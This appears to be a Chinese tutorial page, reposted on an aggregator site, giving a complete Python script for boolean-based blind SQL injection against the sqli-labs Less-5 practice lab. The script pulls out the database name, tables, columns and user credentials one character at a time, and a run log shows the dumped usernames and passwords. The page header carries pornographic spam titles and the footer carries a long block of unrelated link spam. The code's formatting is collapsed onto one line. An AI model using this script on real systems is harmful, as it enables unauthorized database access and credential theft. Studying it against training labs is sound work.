电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁技術文章
文章詳情頁

python實現布爾型盲注的示例代碼

瀏覽:118日期:2022-06-21 10:17:02

好久沒寫python了,就想著寫個簡單的練練手,寫個布爾型盲注自動化腳本,我覺得這個功能寫的非常全了,這里是參考sqli-labs里面的盲注漏洞進行的腳本編寫。

腳本運行時間:6分半左右

bool_sqlblind.py# -*- coding:utf-8 -*-# Author: mochu7import requestsdef ascii_str():#生成庫名表名字符所在的字符列表字典 str_list=[] for i in range(33,127):#所有可顯示字符 str_list.append(chr(i)) #print(’可顯示字符:%s’%str_list) return str_list#返回字符列表def db_length(url,str): print('[-]開始測試數據庫名長度.......') num=1 while True: db_payload=url+'’ and (length(database())=%d)--+'%num r=requests.get(db_payload) if str in r.text: db_length=num print('[+]數據庫長度:%dn'%db_length) db_name(db_length)#進行下一步,測試庫名 break else: num += 1def db_name(db_length): print('[-]開始測試數據庫名.......') db_name=’’ str_list=ascii_str() for i in range(1,db_length+1): for j in str_list: db_payload=url+'’ and (ord(mid(database(),%d,1))=’%s’)--+'%(i,ord(j)) r=requests.get(db_payload) if str in r.text: db_name+=j break print('[+]數據庫名:%sn'%db_name) tb_piece(db_name)#進行下一步,測試security數據庫有幾張表 return db_name def tb_piece(db_name): print('開始測試%s數據庫有幾張表........'%db_name) for i in range(100):#猜解庫中有多少張表,合理范圍即可 tb_payload=url+'’ and %d=(select count(table_name) from information_schema.tables where table_schema=’%s’)--+'%(i,db_name) r=requests.get(tb_payload) if str in r.text: tb_piece=i break print('[+]%s庫一共有%d張表n'%(db_name,tb_piece)) tb_name(db_name,tb_piece)#進行下一步,猜解表名def tb_name(db_name,tb_piece): print('[-]開始猜解表名.......') table_list=[] for i in range(tb_piece): str_list=ascii_str() tb_length=0 tb_name=’’ for j in range(1,20):#表名長度,合理范圍即可 tb_payload=url+'’ and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+'%(i,j) r=requests.get(tb_payload) if str in r.text: tb_length=j print('第%d張表名長度:%s'%(i+1,tb_length)) for k in range(1,tb_length+1):#根據表名長度進行截取對比 for l in str_list: tb_payload=url+'’ and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+'%(i,k,ord(l)) r=requests.get(tb_payload) if str in r.text: tb_name+=l print('[+]:%s'%tb_name) table_list.append(tb_name) break print('n[+]%s庫下的%s張表:%sn'%(db_name,tb_piece,table_list)) column_num(table_list,db_name)#進行下一步,猜解每張表的字段數def column_num(table_list,db_name): print('[-]開始猜解每張表的字段數:.......') column_num_list=[] for i in table_list: for j in range(30):#每張表的字段數量,合理范圍即可 column_payload=url+'’ and %d=(select count(column_name) from information_schema.columns where table_name=’%s’)--+'%(j,i) r=requests.get(column_payload) if str in r.text: column_num=j column_num_list.append(column_num)#把所有表的字段,依次放入這個列表當中 print('[+]%s表t%s個字段'%(i,column_num)) break print('n[+]表對應的字段數:%sn'%column_num_list) column_name(table_list,column_num_list,db_name)#進行下一步,猜解每張表的字段名def column_name(table_list,column_num_list,db_name): print('[-]開始猜解每張表的字段名.......') column_length=[] str_list=ascii_str() column_name_list=[] for t in range(len(table_list)):#t在這里代表每張表的列表索引位置 print('n[+]%s表的字段:'%table_list[t]) for i in range(column_num_list[t]):#i表示每張表的字段數量 column_name=’’ for j in range(1,21):#j表示每個字段的長度 column_name_length=url+'’ and %d=(select length(column_name) from information_schema.columns where table_name=’%s’ limit %d,1)--+'%(j-1,table_list[t],i) r=requests.get(column_name_length) if str in r.text: column_length.append(j) break for k in str_list:#k表示我們猜解的字符字典 column_payload=url+'’ and ord(mid((select column_name from information_schema.columns where table_name=’%s’ limit %d,1),%d,1))=%d--+'%(table_list[t],i,j,ord(k)) r=requests.get(column_payload) if str in r.text: column_name+=k print(’[+]:%s’%column_name) column_name_list.append(column_name) #print(column_name_list)#輸出所有表中的字段名到一個列表中 dump_data(table_list,column_name_list,db_name)#進行最后一步,輸出指定字段的數據def dump_data(table_list,column_name_list,db_name): print('n[-]對%s表的%s字段進行爆破.......n'%(table_list[3],column_name_list[9:12])) str_list=ascii_str() for i in column_name_list[9:12]:#id,username,password字段 for j in range(101):#j表示有多少條數據,合理范圍即可 data_num_payload=url+'’ and (select count(%s) from %s.%s)=%d--+'%(i,db_name,table_list[3],j) r=requests.get(data_num_payload) if str in r.text: data_num=j break print('n[+]%s表中的%s字段有以下%s條數據:'%(table_list[3],i,data_num)) for k in range(data_num): data_len=0 dump_data=’’ for l in range(1,21):#l表示每條數據的長度,合理范圍即可 data_len_payload=url+'’ and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+'%(i,db_name,table_list[3],k,l) r=requests.get(data_len_payload) if str not in r.text: data_len=l-1 for x in range(1,data_len+1):#x表示每條數據的實際范圍,作為mid截取的范圍 for y in str_list: data_payload=url+'’ and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+'%(i,db_name,table_list[3],k,x,ord(y)) r=requests.get(data_payload) if str in r.text:dump_data+=ybreak break print(’[+]%s’%dump_data)#輸出每條數據if __name__ == ’__main__’: url='http://127.0.0.1/sqli-labs/Less-5/?id=1'#目標url str='You are in'#布爾型盲注的true&false的判斷因素 db_length(url,str)#程序入口

運行結果

PS C:UsersAdministratorDesktop> python3 .bool_sqlblind.py [-]開始測試數據庫名長度.......[+]數據庫長度:8

[-]開始測試數據庫名.......[+]數據庫名:security

開始測試security數據庫有幾張表........[+]security庫一共有4張表

[-]開始猜解表名.......第1張表名長度:6[+]:emails第2張表名長度:8[+]:referers第3張表名長度:7[+]:uagents第4張表名長度:5[+]:users

[+]security庫下的4張表:[’emails’, ’referers’, ’uagents’, ’users’]

[-]開始猜解每張表的字段數:.......[+]emails表 2個字段[+]referers表 3個字段[+]uagents表 4個字段[+]users表 7個字段

[+]表對應的字段數:[2, 3, 4, 7]

[-]開始猜解每張表的字段名.......

[+]emails表的字段:[+]:id[+]:email_id

[+]referers表的字段:[+]:id[+]:referer[+]:ip_address

[+]uagents表的字段:[+]:id[+]:uagent[+]:ip_address[+]:username

[+]users表的字段:[+]:id[+]:username[+]:password[+]:level[+]:id[+]:username[+]:password

[-]對users表的[’id’, ’username’, ’password’]字段進行爆破.......

[+]users表中的id字段有以下13條數據:[+]1[+]2[+]3[+]4[+]5[+]6[+]7[+]8[+]9[+]10[+]11[+]12[+]14

[+]users表中的username字段有以下13條數據:[+]Dumb[+]Angelina[+]Dummy[+]secure[+]stupid[+]superman[+]batman[+]admin[+]admin1[+]admin2[+]admin3[+]dhakkan[+]admin4

[+]users表中的password字段有以下13條數據:[+]Dumb[+]I-kill-you[+]p@ssword[+]crappy[+]stupidity[+]genious[+]mob!le[+]admin[+]admin1[+]admin2[+]admin3[+]dumbo[+]admin4PS C:UsersAdministratorDesktop>

到此這篇關于python實現布爾型盲注的示例代碼的文章就介紹到這了,更多相關python布爾盲注內容請搜索好吧啦網以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持好吧啦網!

標簽: Python 編程
相關文章:
主站蜘蛛池模板: 船老大板材_浙江船老大全屋定制_船老大官网 | 福州时代广告制作装饰有限公司-福州广告公司广告牌制作,福州展厅文化墙广告设计, | 电动液压篮球架_圆管地埋式篮球架_移动平箱篮球架-强森体育 | 衢州装饰公司|装潢公司|办公楼装修|排屋装修|别墅装修-衢州佳盛装饰 | 广西绿桂涂料--承接隔热涂料、隔音涂料、真石漆、多彩仿石漆等涂料工程双包施工 | _网名词典_网名大全_qq网名_情侣网名_个性网名 | 东风体检车厂家_公共卫生体检车_医院体检车_移动体检车-锦沅科贸 | 苏州西朗门业-欧盟CE|莱茵UL双认证的快速卷帘门品牌厂家 | 沈阳庭院景观设计_私家花园_别墅庭院设计_阳台楼顶花园设计施工公司-【沈阳现代时园艺景观工程有限公司】 | 蔡司三坐标-影像测量机-3D扫描仪-蔡司显微镜-扫描电镜-工业CT-ZEISS授权代理商三本工业测量 | 电子厂招聘_工厂招聘_普工招聘_小时工招聘信息平台-众立方招工网 | 深圳办公室装修-写字楼装修设计-深圳标榜装饰公司 | 石英陶瓷,石英坩埚,二氧化硅陶瓷-淄博百特高新材料有限公司 | 济南展厅设计施工_数字化展厅策划设计施工公司_山东锐尚文化传播有限公司 | Type-c防水母座|贴片母座|耳机接口|Type-c插座-深圳市步步精科技有限公司 | 聚合氯化铝-碱式氯化铝-聚合硫酸铁-聚氯化铝铁生产厂家多少钱一吨-聚丙烯酰胺价格_河南浩博净水材料有限公司 | FAG轴承,苏州FAG轴承,德国FAG轴承-恩梯必传动设备(苏州)有限公司 | 合肥升降机-合肥升降货梯-安徽升降平台「厂家直销」-安徽鼎升自动化科技有限公司 | 旅游规划_旅游策划_乡村旅游规划_景区规划设计_旅游规划设计公司-北京绿道联合旅游规划设计有限公司 | 骨密度检测仪_骨密度分析仪_骨密度仪_动脉硬化检测仪专业生产厂家【品源医疗】 | 引领中高档酒店加盟_含舍·美素酒店品牌官网 | 小小作文网_中小学优秀作文范文大全 | 意大利Frascold/富士豪压缩机_富士豪半封闭压缩机_富士豪活塞压缩机_富士豪螺杆压缩机 | atcc网站,sigma试剂价格,肿瘤细胞现货,人结肠癌细胞株购买-南京科佰生物 | 槽钢冲孔机,槽钢三面冲,带钢冲孔机-山东兴田阳光智能装备股份有限公司 | 全温恒温摇床-水浴气浴恒温摇床-光照恒温培养摇床-常州金坛精达仪器制造有限公司 | 超声波_清洗机_超声波清洗机专业生产厂家-深圳市好顺超声设备有限公司 | 真石漆,山东真石漆,真石漆厂家,真石漆价格-山东新佳涂料有限公司 | 干式磁选机_湿式磁选机_粉体除铁器-潍坊国铭矿山设备有限公司 | 浙江建筑资质代办_二级房建_市政_电力_安许_劳务资质办理公司 | 密集柜_档案密集柜_智能密集架_密集柜厂家_密集架价格-智英伟业 密集架-密集柜厂家-智能档案密集架-自动选层柜订做-河北风顺金属制品有限公司 | 铝合金重力铸造_铝合金翻砂铸造_铝铸件厂家-东莞市铝得旺五金制品有限公司 | 真空泵厂家_真空泵机组_水环泵_旋片泵_罗茨泵_耐腐蚀防爆_中德制泵 | 国际船舶网 - 船厂、船舶、造船、船舶设备、航运及海洋工程等相关行业综合信息平台 | 医疗仪器模块 健康一体机 多参数监护仪 智慧医疗仪器方案定制 血氧监护 心电监护 -朗锐慧康 | 集菌仪厂家_全封闭_封闭式_智能智能集菌仪厂家-上海郓曹 | 武汉印刷厂-不干胶标签印刷厂-武汉不干胶印刷-武汉标签印刷厂-武汉标签制作 - 善进特种标签印刷厂 | 特种电缆厂家-硅橡胶耐高温电缆-耐低温补偿导线-安徽万邦特种电缆有限公司 | 聚合氯化铝-碱式氯化铝-聚合硫酸铁-聚氯化铝铁生产厂家多少钱一吨-聚丙烯酰胺价格_河南浩博净水材料有限公司 | 磁力抛光机_磁力研磨机_磁力去毛刺机-冠古设备厂家|维修|租赁【官网】 | 北京晚会活动策划|北京节目录制后期剪辑|北京演播厅出租租赁-北京龙视星光文化传媒有限公司 |